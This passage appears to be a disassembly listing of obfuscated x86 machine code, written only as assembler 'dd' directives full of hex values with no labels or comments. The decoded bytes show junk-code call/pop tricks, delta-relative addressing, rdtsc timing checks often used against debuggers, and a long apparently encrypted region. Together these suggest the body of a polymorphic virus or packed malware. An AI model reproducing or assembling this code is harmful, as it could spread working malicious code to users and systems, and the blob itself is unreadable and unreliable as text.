		dd 26B50EE8h, 9BF12487h, 89C82B01h, 2B05559Dh, 0E8D18B06h
		dd 5, 24773039h, 89958961h, 5B062B26h, 0DE9h, 0F7816600h
		dd 8B52B69Ch, 2B0FB19Dh, 858B5F06h, 62B111Dh, 1BB5B589h
		dd 0C083062Bh, 0DF8B6607h, 8B00C083h, 2B06A1BDh, 95295706h
		dd 62B10B5h, 0FD03B5Bh,	1183h, 0A19D8900h, 0E9062B25h
		dd 33h,	3079BD8Bh, 8D8B062Bh, 62B2AE5h,	2B559D01h, 0E183062Bh
		dd 18840F01h, 83000000h, 2B2AE5A5h, 0EEBBFE06h,	8917ACC6h
		dd 2B111D95h, 0E9FC06h,	8D000000h, 2F231FB5h, 6E906h, 1EC20000h
		dd 0D5874DF1h, 32ED9D33h, 6A062Bh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 20C35040h, 5180902Fh, 32818529h
		dd 0FF5F062Bh, 2B294595h, 0EE86006h, 0E6000000h, 0B3EA7D08h
		dd 3FE3ABF9h, 7C757787h, 5F5B5299h, 9AC38166h, 4FB961BDh
		dd 6A000007h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 9F90C351h, 998A9437h, 65853117h
		dd 83062B32h, 6AFCE1h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 0A2C39BC3h, 0C7D1E415h, 6AFC8Eh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 2C8DACC3h, 0B8D0h, 0CE80000h, 3A000000h, 0DA58E6E9h
		dd 9764C566h, 6621041Ch, 0A79FC781h, 0BA5Bh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0C48F71C3h, 40C18CBFh, 0B589EAE5h, 62B109Dh,	0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 13E9h, 4D144A00h, 0C998CAECh
		dd 5C01CAE7h, 638D0D56h, 29A1F30Bh, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 3C35141h, 0D22F725Bh, 0B798D89h
		dd 880D062Bh, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 2B9FC350h, 2B08D1BDh
		dd 0E1958B06h, 66062B0Eh, 8B5D0BBFh, 2B21E18Dh,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 62356433h, 0BD89E99Fh, 62B1FA5h, 8BC28B50h, 8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 0BB665818h, 9D8BB06Ah, 62B0EB9h
		dd 5A9BD83h, 0F00062Bh,	8784h, 53006A00h, 3E8h,	0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 61E00F04h
		dd 293F87B7h, 2B32298Dh, 0B806h, 0BE90000h, 68000000h
		dd 0B46D18A0h, 4528A29Ch, 8D8D0344h, 62B4EA1h, 1913DF81h
		dd 0E1FF3F81h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	1AC35747h, 8D096060h, 62B1D6Dh,	2B41BD29h, 0F61062Bh
		dd 580h, 0E0816600h, 0BF61AC0Dh, 565C92EAh, 2BE5BD83h
		dd 0F00062Bh, 45184h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 1C73A6h, 8D891D0Eh, 62B08B9h
		dd 7E9h, 0F4DB5600h, 6C724615h,	1875BD8Bh, 0BD83062Bh
		dd 62B2BE5h, 26840F01h,	83000004h, 2B2BE5BDh, 860F0306h
		dd 3E3h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 19h,	66C35747h, 19A9CE6Eh, 952960BAh, 62B18C1h, 6AD98C66h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 98E3C357h, 0EE848h, 3AB80000h, 0C1736184h
		dd 40D5C41Dh, 375E4BA9h, 0A09BD89h, 805F062Bh, 0B70F04E1h
		dd 0F88B66DEh, 840FC90Ah, 132h,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 67C35545h, 39F7A4ECh, 0F2DD9Dh
		dd 15FDBD09h, 858B062Bh, 62B1EB5h, 0C08349BFh, 8D85337Ch
		dd 0F062B25h, 0C86h, 6820F00h, 0F000000h, 8Bh, 57509000h
		dd 310F5250h, 0E2CBF66h, 905B585Ah, 0DE8B6653h,	6A006A5Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 8043C353h, 2C0EA1BEh, 8951C0CBh, 2B0A2995h
		dd 0F1BD8B06h, 0E8062B28h, 4, 1F03FFh, 0CB8B6660h, 8C91AABEh
		dd 66506118h, 448BD98Bh, 0BB660424h, 8BD0D0h, 820F60h
		dd 50000000h, 0D38B6652h, 6160310Fh, 8961585Ah,	0BB042444h
		dd 0A6A4195h, 99D8958h,	0FF062B07h, 2B091D95h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 2298ED1Dh, 89ED0C7Dh, 2B204995h, 0B0858906h,	3062EB5h
		dd 2B1EE9BDh, 19DE906h,	8A0F0000h, 16h,	11E9h, 0BFCFE00h
		dd 3A4243BAh, 0FCD598C6h, 9A50A1A8h, 858B5D57h,	62EB5A8h
		dd 1800C7h, 9D890000h, 62B2459h, 0B5ACB58Bh, 0FC8A062Eh
		dd 6CC1CBBBh, 0C5858B45h, 0F062B16h, 689F8BFh, 5E9h, 0C8BE4900h
		dd 858B416Fh, 62B1EB5h,	5BBB6660h, 61D98BCBh, 51958960h
		dd 80062B1Ch, 896139C7h, 9D090446h, 62B1881h, 148C0F50h
		dd 0E9000000h, 0Fh, 0FCD598C6h,	9A50A1A8h, 1B635D57h, 896D5F35h
		dd 6A2434h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 296012C3h, 2B2A09BDh, 0B5FF6106h,	62EB5A8h
		dd 7E8h, 0AEC55000h, 62D77B8Ah,	1DA1B509h, 0E85B062Bh
		dd 4, 1F03FFh, 4820Fh, 0BF660000h, 6650CAA6h, 8B7C34BFh
		dd 52042444h, 8B5B73B3h, 10BF6600h, 24448938h, 69BF6604h
		dd 6A5851h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 0FDF2FC3h, 88h, 0B0858D00h, 0E9062EB5h, 13h
		dd 71E60CFh, 0B9CEFEBEh, 97DECD67h, 23362EE6h, 503B114Dh
		dd 28A0Fh, 0D0B30000h, 0E8240489h, 7, 4F99D278h, 0E89DACC7h
		dd 12h,	0ED6B9AECh, 74238F26h, 27E64E02h, 0F8AC148Bh, 61605EEEh
		dd 95FF5F5Fh, 62B091Dh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 89C35242h, 93850AFh, 81661C1Dh, 61E07DD3h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0E1C35242h
		dd 12E9h, 7E488000h, 664C6742h,	353A7D7h, 0C96EBB0Ch, 0C765DB6Dh
		dd 2B2BE585h, 306h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 0EC8CDCEDh, 0C776B29Bh
		dd 0B5B0BD83h, 0F00062Eh, 4E84h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 3F636154h
		dd 92CC8907h, 41E9h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 0DDAB43D9h, 0A9E947A0h
		dd 50FEBF0Fh, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 8D89C08Bh,	62B0899h, 65C38166h, 0D8BB6673h
		dd 0E5BD8376h, 3062B2Bh, 418850Fh, 83F50000h, 2EB5B0BDh
		dd 840F0006h, 40Ah, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 0C6C35040h, 3719E64h,	0B5FFD9EAh, 62EB5B0h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0A7C35343h
		dd 69EC9A8Fh, 0F8FD0DC6h, 17595FFh, 6A062Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 8BA657C3h
		dd 2EB5A4B5h, 0CE806h, 3D4D0000h, 0DBADE6A4h, 4B2A4BA5h
		dd 0BA60A861h, 2C5649E5h, 0F21BD8Bh, 5B61062Bh,	106C7h
		dd 9D890001h, 62B3039h,	0AE6CBF96h, 66507E83h, 0B796FB8Bh
		dd 0B0B5FFEFh, 6A062EB5h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 4CA6C353h, 9DDF8717h
		dd 8E9D3h, 1E360000h, 2A359C9Dh, 95FF82F5h, 62B1555h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 3FC35747h, 0B06C45C0h
		dd 0D7363A92h, 19A9BD2Bh, 0B58B062Bh, 62EB5A4h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 54C35747h, 0C8C08C10h
		dd 882C8571h, 0FE9h, 99442B00h,	64E988B9h, 87C846BBh, 0A3A92866h
		dd 11E9h, 6F61A800h, 2AA481E0h,	9C2BB22Eh, 2DA2EB8Bh, 858BDE2Dh
		dd 62B1AD9h, 5E953h, 6B030000h,	5F56E5F4h, 0C48689h, 0B70F0000h
		dd 0E1958BDAh, 6A062B0Eh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 0FE09C357h,	17CDBD8Bh
		dd 0C283062Bh, 0AE804h,	85F90000h, 0B3B601E4h, 2D3E9505h
		dd 1839BD03h, 895F062Bh, 858D2050h, 62ECA4Eh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0BDC35242h, 1B5F73B7h
		dd 0A7FA7FB1h, 8D89DA8Bh, 62B0251h, 0B88689h, 7E90000h
		dd 0CF000000h, 9663C294h, 0B5895FE1h, 62B2BD5h,	8E0F006Ah
		dd 19h,	0EE8h, 0B9A3F400h, 82EED422h, 0EB187EDEh, 66696939h
		dd 7EA7E781h, 0B0B5FF5Bh, 6A062EB5h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0EF69C350h
		dd 0BE9h, 2238E300h, 61E1405Dh,	92111266h, 5E195FFh, 6A062Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 9A0596C3h, 0D1BD8BEAh, 50062B2Ch, 0E8FC8A60h, 0Bh, 801D651Ch
		dd 0C55A1688h, 608E87E0h, 89615B61h, 8B662434h,	9BD8BFBh
		dd 0FF062B21h, 2EB5B0B5h, 6E806h, 0F7D40000h, 1FB0AF69h
		dd 95FF5BF8h, 62B1569h,	1D9DBD83h, 0F00062Bh, 4A84h, 14E900h
		dd 0DD300000h, 57AEC827h, 4592BD11h, 65FE9726h,	799EDCD7h
		dd 6696F27Fh, 8B50DA8Bh, 6A96FBh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 6977DBC3h, 3316C32Fh
		dd 6617E597h, 0FFFA4CBFh, 2EB5B0B5h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 6DBD8B87h
		dd 0FF062B1Fh, 2B2E1195h, 10E906h, 279D0000h, 339AE408h
		dd 5E71F3DBh, 85AF645Dh, 0B5FF6A9Ah, 62EB5B0h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 8AC35242h, 29119589h
		dd 0B529062Bh, 62B0B31h, 240D95FFh, 0BD8B062Bh,	62B358Dh
		dd 2889B589h, 0BD83062Bh, 62B2E29h, 26840F02h, 0F8000000h
		dd 2B39858Bh, 0FE9062Bh, 0FB000000h, 0C38BD495h, 3C2F452h
		dd 4E67242Dh, 0F2BF34B1h, 0C6362A6Ah, 0BF0F0000h, 2585C7DBh
		dd 62B09h, 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 7F18C350h, 0F52B911Bh,	0DB816699h
		dd 81E95D7Bh, 0E8FFFFF3h, 9, 3BC7B42Eh,	5EB7F26Ah, 0DF8B664Bh
		dd 0E9C18B5Bh, 0Fh, 62EA22BFh, 0B44C9D8Eh, 0BF8B30FDh
		dd 0E90BF54Dh, 17h, 8AFA786h, 4	dup(0)
		dd 0E9000000h, 560h, 0CCC8FC61h, 1C98ACB3h, 0AF6B5D03h
		dd 0FB371150h, 480BA9Ch, 0C59D06F9h, 72E80783h,	263B5450h
		dd 0CF89E622h, 0C06F2DE9h, 0C40F3AB4h, 0F1C94F92h, 0AE1C781h
		dd 4E99A3B7h, 0C01B95A3h, 6FF294EBh, 0FEC7259h,	34D86EC0h
		dd 274390B2h, 65DF38E6h, 7B891443h, 94EBACF1h, 0AC52DCE8h
		dd 3B2794EBh, 0DCAF5EC0h, 6732C781h, 499C2595h,	0AFF2D975h
		dd 1799A7A8h, 6A94EB79h, 600F58F4h, 0EB79DA54h,	7AB3AF94h
		dd 7549E2ABh, 95113731h, 74E3E57Ah, 7951DBE9h, 3A2494EBh
		dd 6FF00FF3h, 332B7655h, 53CABA11h, 0F1263B6Fh,	895BF377h
		dd 0DAD67274h, 350B4E4Dh, 0BEABADF4h, 0EB8C1892h, 51ED6D94h
		dd 0B9B8D77Ah, 0A680C09Fh, 0DCF43545h, 94EB8C4Dh, 35E9DD66h
		dd 38EC0156h, 750216E2h, 122CFF1Bh, 572FC9Bh, 532A7D97h
		dd 0B4000000h, 7B4D1271h, 1F8E90h, 47856640h, 94EBC0BBh
		dd 335F239Ch, 7D96DA37h, 5C62F695h, 6D3AF38Fh, 1, 0EADA8169h
		dd 0A1A7BA01h, 587CF74Ah, 9D619A73h, 33415209h,	94EBC0B9h
		dd 0FBCD91CCh, 0A8C7C35Fh, 5128EA8h, 0C0C06A76h, 0A5B594EBh
		dd 0D9816664h, 0A2B904E7h, 45FE49A2h, 13352D81h, 0DEF87897h
		dd 1C435E0Dh, 0BA9EE128h, 0C4632784h, 0C0812B39h, 6AF494EBh
		dd 10C6BAA3h, 0D3DAF275h, 96DFCAB4h, 0A8727Dh, 48D70000h
		dd 2731174Dh, 94EBCA85h, 23A766F8h, 54D6E271h, 0B594EBC0h
		dd 0C25C9FA9h, 5BA2B4CBh, 4BA03C18h, 8D5E60F4h,	0BA11372Eh
		dd 0EFFDF267h, 94EBC05Dh, 39922E30h, 0DE9175EEh, 944A3E37h
		dd 896262F9h, 71E938F1h, 2234534Fh, 0F56CB318h,	0BEA5F8D3h
		dd 79DE3D8Eh, 0AF096447h, 0B28F3EBh, 7054ED35h,	811D3B3Ah
		dd 0F220E41Dh, 7D97A588h, 653Ch, 0D9819E00h, 4FED0134h
		dd 53EFDA86h, 3B3C2578h, 0EBCA832Dh, 4D5BF694h,	94EBCAA3h
		dd 902C48D6h, 7FB703Bh,	0E46BFA3h, 7108C28h, 0CAC26C78h
		dd 0ABB794EBh, 0DA816462h, 4F4A01EAh, 4AD43709h, 0C0BC4D43h
		dd 3A9594EBh, 0C9C0E45Fh, 2BB66C50h, 0EBC0931Dh, 0A7BBE694h
		dd 188019Dh, 7D96D965h,	119h, 0DB81C500h, 251F7AE5h, 1796A803h
		dd 193F3984h, 675BC2B2h, 0EF2B1D43h, 3F220E7Eh,	339CA209h
		dd 0EBC08B25h, 0C460FE94h, 0D9088D9Bh, 233F8AC6h, 0D5F375C8h
		dd 0A086BED9h, 129CA837h, 0FB6D3F39h, 0F1896266h, 695140Ah
		dd 3F393ECAh, 95F05F6Dh, 831F8CCh, 0D3C67E34h, 39B63844h
		dd 57CB6D3Fh, 3F39E789h, 0AB849A6Dh, 0B5718DB7h, 0EF3C1A5Ah
		dd 3425D090h, 0D6733E1Ah, 26DBEDAh, 7416559h, 78F2E521h
		dd 2C776B88h, 111h, 0D21F6FAEh,	0DE727785h, 3E0D8AC6h
		dd 3F3E9812h, 0D16DED6Dh, 8BADA7FAh, 6570F00Fh,	3F3ED557h
		dd 1AB6A86Dh, 0CCEA6AB1h, 46BFA0FFh, 38932F11h,	6D7B7CE5h
		dd 6D3F3EC3h, 0BF0CA8B6h, 0FD7448CDh, 0DDD1B5AEh, 7712BD9Bh
		dd 720CDFE1h, 96D0C7BBh, 4E776BD7h, 4Bh, 0EACC8403h, 0AB07901h
		dd 7B4D1271h, 3D3281B2h, 0C0848692h, 46D514EBh,	0EBC0B03Ah
		dd 5455C514h, 831E49D1h, 46B738DDh, 9FC2FE8Dh, 1796A803h
		dd 3BA64884h, 79F014EBh, 7380CF85h, 3B36D8E4h, 0D74B94EBh
		dd 6F48DBh, 6F2E0000h, 7785D21Fh, 8AC6DB3Ah, 6BE6C555h
		dd 7349FD3Ch, 1E8F2376h, 0AB674103h, 0D932144Ch, 3F8264F3h
		dd 562A036Dh, 0FA361050h, 61EE0373h, 0F4C9953h,	42058073h
		dd 5EC0A36Ah, 2533DE8Dh, 674F4C8Bh, 56A960FEh, 21D3381Eh
		dd 3C8C483Ch, 529CA837h, 0A7797F9Ch, 0F7712CBBh, 0FD6AD8D1h
		dd 7CA8426Eh, 6EDD799Fh, 0A61AD338h, 0F23B577Fh, 0D6E271D4h
		dd 94EBC054h, 47F83129h, 31BBC9F7h, 4494EBC0h, 7211BEDAh
		dd 2CDEEAEFh, 2194EBC0h, 0E34E9D39h, 3DC3E203h,	73BAD670h
		dd 57EB0DCh, 50FF8ADBh,	3B85AA44h, 4A43DF6Dh, 954B7ABh
		dd 0A2AD694Fh, 404973E7h, 0B6210741h, 85931D2Bh, 78E66D3Bh
		dd 35EEE2B1h, 727ABC08h, 0A7A105F9h, 1204A6B2h,	0E1797FA4h
		dd 362E4945h, 57B490D3h, 15CAFCBh, 76B6B546h, 8C5E7194h
		dd 6605E8A3h, 3E5A01C3h, 596FF291h, 6E3DEC72h, 0D4E291BEh
		dd 0CD1A9EEEh, 0A6485483h, 0DB7FA475h, 0E9DD4647h, 69A583C5h
		dd 0E770560Eh, 533F15B8h, 0D2DB3A32h, 120843h, 71EE0000h
		dd 0AA65312h, 23160DDh,	0B1A7801Ch, 0F8DC1E8Fh,	3E8DC81h
		dd 49A284BCh, 705B6DF2h, 0B417312Dh, 0FCCFF169h, 2487B9A1h
		dd 6DBE9ED9h, 97744A0Eh, 0D8331548h, 4EC8108h, 89000000h
		dd 0E6892434h, 4C681h, 0EE830000h, 24348704h, 6C9D685Ch
		dd 3C890000h, 0E2895224h, 4C281h, 0EA830000h, 24148704h
		dd 242C895Ch, 3A3B68h, 24148900h, 302D4268h, 0D2F75A0Eh
		dd 42A9E281h, 0EA8142D5h, 3A9572C9h, 815AD789h,	4ECh, 24248900h
		dd 4240483h, 842685Dh, 3C890000h, 8458F24h, 5D2434FFh
		dd 0FF04C483h, 815F2434h, 4C4h,	0AA82E900h, 0B82FFFFBh
		dd 4B3D8A00h, 39D3BE22h, 2FD4B5B8h, 0FFC50306h,	5134FDE0h
		dd 3AC4D441h, 0AAE6D339h, 9DBD6F19h, 92446219h,	327E612Ah
		dd 0E9D214Dh, 0D01FD1Dh, 510B1B19h, 0C1858D6Dh,	60062B2Fh
		dd 10E9h, 0D71C000h, 46716B6Eh,	0E9AA5816h, 7062AC76h
		dd 0BE6660E1h, 0BD8B51D8h, 62B1EADh, 0BF0F6161h, 0DA8B90DAh
		dd 0CE850h, 0A1AB0000h,	0B815EEF1h, 4236FF46h, 9EBFBB6Fh
		dd 5B4CB3E0h, 8E890h, 0E1960000h, 2A8E795Fh, 0F7B7EBF0h
		dd 0FC006A5Bh, 6A38C780h, 0A59D8900h, 8D062B34h, 2FD6FE85h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 83BF21D3h, 0F98B6609h, 0F905C083h, 52525050h
		dd 60310F5Fh, 89BF5F56h, 6130BF2Bh, 489585Ah, 860F5724h
		dd 5, 4ECB8166h, 6A5F05h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 0C4C35646h, 6A0466BBh, 0D88B6600h, 34E195FFh
		dd 6A062Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 0BAFC7FC3h, 0DFB70F2Eh, 0A6AA8D8Dh, 9589062Eh
		dd 62B11A5h, 9D8BD1FFh,	62B0D01h, 0A01BD83h, 0F01062Bh
		dd 6D85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 8B9500E9h, 0FF747E22h, 8B666014h
		dd 6A61F8FEh, 8B44B302h, 2B1ADD9Dh, 8B565006h, 4895BFBh
		dd 57006A24h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 76C9F9B1h, 28E19589h, 95FF062Bh,	62B05E1h
		dd 0C219529h, 0BCE9062Bh, 0E800000Fh, 0
		dd 8ED815Dh, 0FC062FD7h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0C1C35545h, 9633670Fh, 0BD675F1h, 2B3071BDh
		dd 7E906h, 0AB600000h, 0C460B578h, 3A858DEEh, 6A062E99h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 1D2EC351h, 0B3D2C380h, 0AE8507Dh,	37000000h
		dd 73ADCEAAh, 297592CDh, 0DE8B6605h, 2404895Fh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 3AC35343h, 1DD1FA39h
		dd 0AEA3B3D4h, 6E938h, 64310000h, 5B23C443h, 35FF64h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 0C298C351h, 9DDCEC3Fh, 96298442h,	258964h
		dd 0E9000000h, 13h, 26D4BA62h, 6ECBE2C0h, 0B64BC119h, 2E1CE195h
		dd 0FF1FA9CCh, 2B1E0D85h, 8D895306h, 62B192Dh, 6AFF6A5Fh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 0E1A6C352h, 16AF1F4Fh, 0C39EE607h, 38E0Fh
		dd 8B660000h, 19B5FFDAh, 8B062B12h, 2B0E99BDh, 0A995FF06h
		dd 0E9062B11h, 117h, 1C38B60h, 2B34319Dh, 0B06106h, 2CE1BD8Bh
		dd 70E6062Bh, 71E4FB8Bh, 0FEF6CB81h, 9589391Fh,	62B0D79h
		dd 830F613Ch, 0EBh, 68B0Fh, 0BD2B0000h,	62B0C31h, 0FC8B60Fh
		dd 6BAD9BFh, 8B000000h,	2B1741BDh, 0E9C18B06h, 14h, 0C6767340h
		dd 4CF741CCh, 5C6E6496h, 23857E15h, 1503AA6Ah, 0E904E8C1h
		dd 10h,	0C3966507h, 13C8526Fh, 0EF2F45D5h, 0CDEE79FFh
		dd 8BE2F766h, 2B1E259Dh, 2BEBB306h, 0E38166C8h,	0D18B684Fh
		dd 0AE9h, 3B831100h, 1B4F3D26h,	0E9EAA441h, 73h, 32ED9589h
		dd 858B062Bh, 8, 7CE8E6BFh, 7C0836Fh, 0C083DA8Bh, 3800F00h
		dd 0F000000h, 0D03BF9BFh, 14830Fh, 840F0000h, 3, 0E912C780h
		dd 3Bh,	9819D29h, 8D8B062Bh, 0FFFFFFFFh, 0BD8BDE8Bh, 62B2F11h
		dd 0F01E183h, 1E84h, 7ED38000h,	83D88B66h, 0FFFFFFA5h
		dd 9D03FEFFh, 62B2B5Dh,	89589h,	0E90000h, 8D000000h, 2F52ABB5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 59D4D36Bh, 452D8A90h, 33006A37h,	2B2C49BDh
		dd 4595FF06h, 6A062B29h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 0CFC4C352h,	49D7C8F6h
		dd 0D780CB1Bh, 1071B9ADh, 14E90000h, 42000000h,	0FA9815CEh
		dd 56A242Ah, 0CB67D726h, 37B2C23Dh, 815DD0D1h, 0D86889C7h
		dd 0FCE1830Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	0C35747h, 0BA3BF746h, 33599D31h, 1FC062Bh, 2B183985h
		dd 0B806h, 0FE90000h, 0C5000000h, 84E8A1D0h, 66279B9Fh
		dd 0E8CB1448h, 0D22B1F1Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 81C35242h, 1B358D89h,	8C0F062Bh, 0
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 0A8C35141h,	66812CACh, 6053F88Bh
		dd 0B99B529h, 61F5062Bh, 52006A5Bh, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 0BE90ADADh, 0FA8B66B1h
		dd 880Dh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 393E89D9h, 58EDDDC6h, 8B53560Bh
		dd 2B2119BDh, 958B5B06h, 62B0EE1h, 16E1BD8Bh, 0BD31062Bh
		dd 62B2715h, 21E18D8Bh,	6A062Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 690892C3h, 306F312Ah
		dd 0B351F5ADh, 87BB5F43h, 50543A09h, 188BC28Bh,	188BC103h
		dd 0E8D1C18Bh, 188BC203h, 56006A58h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 6A6EF2h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 66A781C3h, 834FFBBBh, 2B05A9BDh, 840F0006h, 6Fh, 25B99D8Bh
		dd 8B0F062Bh, 2, 0B85F51h, 0BB000000h, 4B0511A9h, 4EA18D8Dh
		dd 6A062Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 9A153C3h,	8D0F6084h, 2, 0D2815851h, 0F35D624h
		dd 6AE1FF61h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 4948C356h, 83F838E6h, 2B2BE5BDh
		dd 840F0006h, 511h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 6C35545h, 437F9054h, 68F0Fh, 85290000h
		dd 62B2EFDh, 2BE5BD83h,	0F01062Bh, 4F384h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
		dd 39FD1F6Dh, 0E9F7543Bh, 0F0DBD8Bh, 0BD83062Bh, 62B2BE5h
		dd 87860F03h, 6A000004h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 0A81C355h, 0B56F6D5h
		dd 2B00B19Dh, 6A6006h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0BD23F1C3h, 62B1129h, 6AD98C66h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 57E9C357h, 0BD8B5222h, 62B0825h, 6A04E180h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 8603C351h, 1FF9FF6Fh, 1C118D89h, 0C90A062Bh
		dd 100840Fh, 0BF660000h, 858B5ED0h, 62B1EB5h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 31C35545h, 0A6991B07h
		dd 81667D61h, 33D211C7h, 2B258D85h, 29B50906h, 50062B19h
		dd 4860Fh, 60510000h, 4895F61h,	57006A24h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0B67C5C87h
		dd 0B958040h, 6AF88A5Dh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 85388CE8h, 0C8D0Fh, 8B0F0000h
		dd 6, 29059D8Bh, 0DA68062Bh, 662E53CBh,	3481F88Bh, 4CC82524h
		dd 56006A2Eh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 45E60CE0h, 66134232h, 729FE381h,	91D95FFh
		dd 8166062Bh, 8960A1D7h, 2EB5B085h, 0B58B6006h,	62B3015h
		dd 57E38166h, 21E9610Dh, 0F000002h, 858BFFBFh, 62EB5A8h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 59C35343h
		dd 5FA29D7Ch, 0D9BBBD30h, 0DA1EF381h, 0C7554Bh,	18h, 13E9h
		dd 0C0574700h, 72981DEDh, 0B2DE2EDEh, 0D86C2DFBh, 86BCA463h
		dd 9EF9F781h, 0B58B781Ah, 62EB5ACh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 14h, 6C35040h, 858BDE8Bh, 62B16C5h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0C8C35646h
